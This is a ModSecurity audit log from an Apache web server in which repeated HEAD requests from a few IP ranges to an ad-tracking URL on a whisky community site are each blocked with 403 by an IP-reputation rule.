Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273791866246 6449 (- - -)
Stopwatch2: 1789273791866246 6449; combined=4593, p1=350, p2=3895, p3=65, p4=6, p5=276, sr=131, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ed68696b-Z--
--8c9fce7b-A--
[13/Sep/2026:07:30:02.922196 +0300] aqYmymM7dE9KgIIOpQhiNgAAAM8 95.134.102.25 60444 127.0.0.1 7081
--8c9fce7b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.25
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--8c9fce7b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--8c9fce7b-E--
--8c9fce7b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273802893566 28687 (- - -)
Stopwatch2: 1789273802893566 28687; combined=23829, p1=9164, p2=14199, p3=107, p4=11, p5=347, sr=164, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8c9fce7b-Z--
--19aa4a4b-A--
[13/Sep/2026:07:30:03.315561 +0300] aqYmy2M7dE9KgIIOpQhiOAAAANU 95.134.102.147 60460 127.0.0.1 7081
--19aa4a4b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.147
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--19aa4a4b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--19aa4a4b-E--
--19aa4a4b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273803302297 13462 (- - -)
Stopwatch2: 1789273803302297 13462; combined=8704, p1=448, p2=7312, p3=218, p4=8, p5=718, sr=159, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--19aa4a4b-Z--
--179ff854-A--
[13/Sep/2026:07:30:03.442357 +0300] aqYmy0wu1RSkptiiNIXv7wAAAJE 95.134.102.244 60468 127.0.0.1 7081
--179ff854-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.244
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--179ff854-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--179ff854-E--
--179ff854-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273803432355 10052 (- - -)
Stopwatch2: 1789273803432355 10052; combined=7683, p1=387, p2=6707, p3=226, p4=10, p5=352, sr=196, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--179ff854-Z--
--57e4b97c-A--
[13/Sep/2026:07:30:22.814530 +0300] aqYm3jTJ6xTvcJoem7f2iwAAAFE 95.134.102.128 35136 127.0.0.1 7081
--57e4b97c-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.128
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--57e4b97c-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--57e4b97c-E--
--57e4b97c-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273822806535 8043 (- - -)
Stopwatch2: 1789273822806535 8043; combined=5451, p1=316, p2=4783, p3=84, p4=8, p5=259, sr=124, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--57e4b97c-Z--
--11e6945f-A--
[13/Sep/2026:07:30:24.714481 +0300] aqYm4GM7dE9KgIIOpQhiPQAAANY 95.134.102.245 35174 127.0.0.1 7081
--11e6945f-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.245
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--11e6945f-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--11e6945f-E--
--11e6945f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273824707067 7459 (- - -)
Stopwatch2: 1789273824707067 7459; combined=5396, p1=288, p2=4707, p3=96, p4=9, p5=296, sr=116, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--11e6945f-Z--
--f12d9760-A--
[13/Sep/2026:07:30:24.761250 +0300] aqYm4GM7dE9KgIIOpQhiPgAAANE 151.243.174.45 35186 127.0.0.1 7081
--f12d9760-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.45
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--f12d9760-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--f12d9760-E--
--f12d9760-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273824743861 17433 (- - -)
Stopwatch2: 1789273824743861 17433; combined=8897, p1=3900, p2=4577, p3=83, p4=7, p5=330, sr=785, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f12d9760-Z--
--f22c9835-A--
[13/Sep/2026:07:30:24.821954 +0300] aqYm4DTJ6xTvcJoem7f2jAAAAFc 95.134.102.128 35196 127.0.0.1 7081
--f22c9835-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.128
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--f22c9835-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--f22c9835-E--
--f22c9835-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273824815768 6224 (- - -)
Stopwatch2: 1789273824815768 6224; combined=4572, p1=291, p2=3942, p3=80, p4=7, p5=252, sr=133, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f22c9835-Z--
--a231db51-A--
[13/Sep/2026:07:30:25.115165 +0300] aqYm4WM7dE9KgIIOpQhiPwAAAMI 151.243.174.135 35212 127.0.0.1 7081
--a231db51-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.135
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--a231db51-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--a231db51-E--
--a231db51-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273825108464 6778 (- - -)
Stopwatch2: 1789273825108464 6778; combined=5067, p1=277, p2=4395, p3=102, p4=7, p5=286, sr=136, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a231db51-Z--
--a1ce0827-A--
[13/Sep/2026:07:30:25.474350 +0300] aqYm4TTJ6xTvcJoem7f2jQAAAFI 151.243.174.103 35228 127.0.0.1 7081
--a1ce0827-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.103
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--a1ce0827-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--a1ce0827-E--
--a1ce0827-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273825468738 5650 (- - -)
Stopwatch2: 1789273825468738 5650; combined=4208, p1=237, p2=3666, p3=61, p4=7, p5=237, sr=106, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a1ce0827-Z--
--5a186358-A--
[13/Sep/2026:07:30:54.401280 +0300] aqYm-mM7dE9KgIIOpQhiQgAAAMg 95.134.102.107 58684 127.0.0.1 7081
--5a186358-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.107
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--5a186358-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--5a186358-E--
--5a186358-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273854391221 10110 (- - -)
Stopwatch2: 1789273854391221 10110; combined=6738, p1=414, p2=5883, p3=100, p4=8, p5=333, sr=146, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5a186358-Z--
--e6b43065-A--
[13/Sep/2026:07:30:54.763127 +0300] aqYm-mM7dE9KgIIOpQhiQwAAAMo 95.134.102.162 58700 127.0.0.1 7081
--e6b43065-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.162
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--e6b43065-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--e6b43065-E--
--e6b43065-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273854752401 10824 (- - -)
Stopwatch2: 1789273854752401 10824; combined=7218, p1=2217, p2=4556, p3=99, p4=9, p5=337, sr=1313, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e6b43065-Z--
--0112d81b-A--
[13/Sep/2026:07:30:55.114389 +0300] aqYm-2M7dE9KgIIOpQhiRAAAAM4 151.243.174.149 58714 127.0.0.1 7081
--0112d81b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.149
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--0112d81b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--0112d81b-E--
--0112d81b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273855107836 6594 (- - -)
Stopwatch2: 1789273855107836 6594; combined=4794, p1=254, p2=4174, p3=84, p4=7, p5=275, sr=92, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--0112d81b-Z--
--851fb73d-A--
[13/Sep/2026:07:30:57.389018 +0300] aqYnAUwu1RSkptiiNIXv8gAAAIo 95.134.102.128 41696 127.0.0.1 7081
--851fb73d-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.128
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--851fb73d-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--851fb73d-E--
--851fb73d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273857382177 6881 (- - -)
Stopwatch2: 1789273857382177 6881; combined=5108, p1=259, p2=4456, p3=76, p4=8, p5=308, sr=117, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--851fb73d-Z--
--2c72aa43-A--
[13/Sep/2026:07:30:57.749518 +0300] aqYnAUwu1RSkptiiNIXv8wAAAIM 151.243.174.123 41708 127.0.0.1 7081
--2c72aa43-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.123
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--2c72aa43-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--2c72aa43-E--
--2c72aa43-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273857741931 7648 (- - -)
Stopwatch2: 1789273857741931 7648; combined=5755, p1=262, p2=5096, p3=82, p4=8, p5=306, sr=118, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2c72aa43-Z--
--12a8c532-A--
[13/Sep/2026:07:31:05.463541 +0300] aqYnCUwu1RSkptiiNIXv9AAAAJc 151.243.174.13 41724 127.0.0.1 7081
--12a8c532-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.13
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--12a8c532-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--12a8c532-E--
--12a8c532-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273865453057 10542 (- - -)
Stopwatch2: 1789273865453057 10542; combined=5168, p1=282, p2=4535, p3=75, p4=8, p5=267, sr=128, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--12a8c532-Z--
--2f0fc71a-A--
[13/Sep/2026:07:31:05.553397 +0300] aqYnCWM7dE9KgIIOpQhiRgAAAMk 95.134.102.76 44978 127.0.0.1 7081
--2f0fc71a-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.76
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--2f0fc71a-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--2f0fc71a-E--
--2f0fc71a-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273865547233 6225 (- - -)
Stopwatch2: 1789273865547233 6225; combined=4626, p1=258, p2=4012, p3=75, p4=8, p5=273, sr=112, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2f0fc71a-Z--
--91635922-A--
[13/Sep/2026:07:31:05.904126 +0300] aqYnCWM7dE9KgIIOpQhiRwAAAMQ 151.243.174.165 44982 127.0.0.1 7081
--91635922-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.165
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--91635922-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--91635922-E--
--91635922-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273865894413 9810 (- - -)
Stopwatch2: 1789273865894413 9810; combined=6783, p1=463, p2=5693, p3=125, p4=10, p5=492, sr=271, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--91635922-Z--
--db8e1e5e-A--
[13/Sep/2026:07:31:05.928125 +0300] aqYnCWM7dE9KgIIOpQhiSAAAAMM 151.243.174.190 44992 127.0.0.1 7081
--db8e1e5e-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.190
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--db8e1e5e-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--db8e1e5e-E--
--db8e1e5e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273865920189 8025 (- - -)
Stopwatch2: 1789273865920189 8025; combined=5771, p1=669, p2=4686, p3=101, p4=8, p5=307, sr=406, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--db8e1e5e-Z--
--bca2623b-A--
[13/Sep/2026:07:31:06.246847 +0300] aqYnCmM7dE9KgIIOpQhiSQAAANg 95.134.102.123 45006 127.0.0.1 7081
--bca2623b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.123
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--bca2623b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--bca2623b-E--
--bca2623b-H--
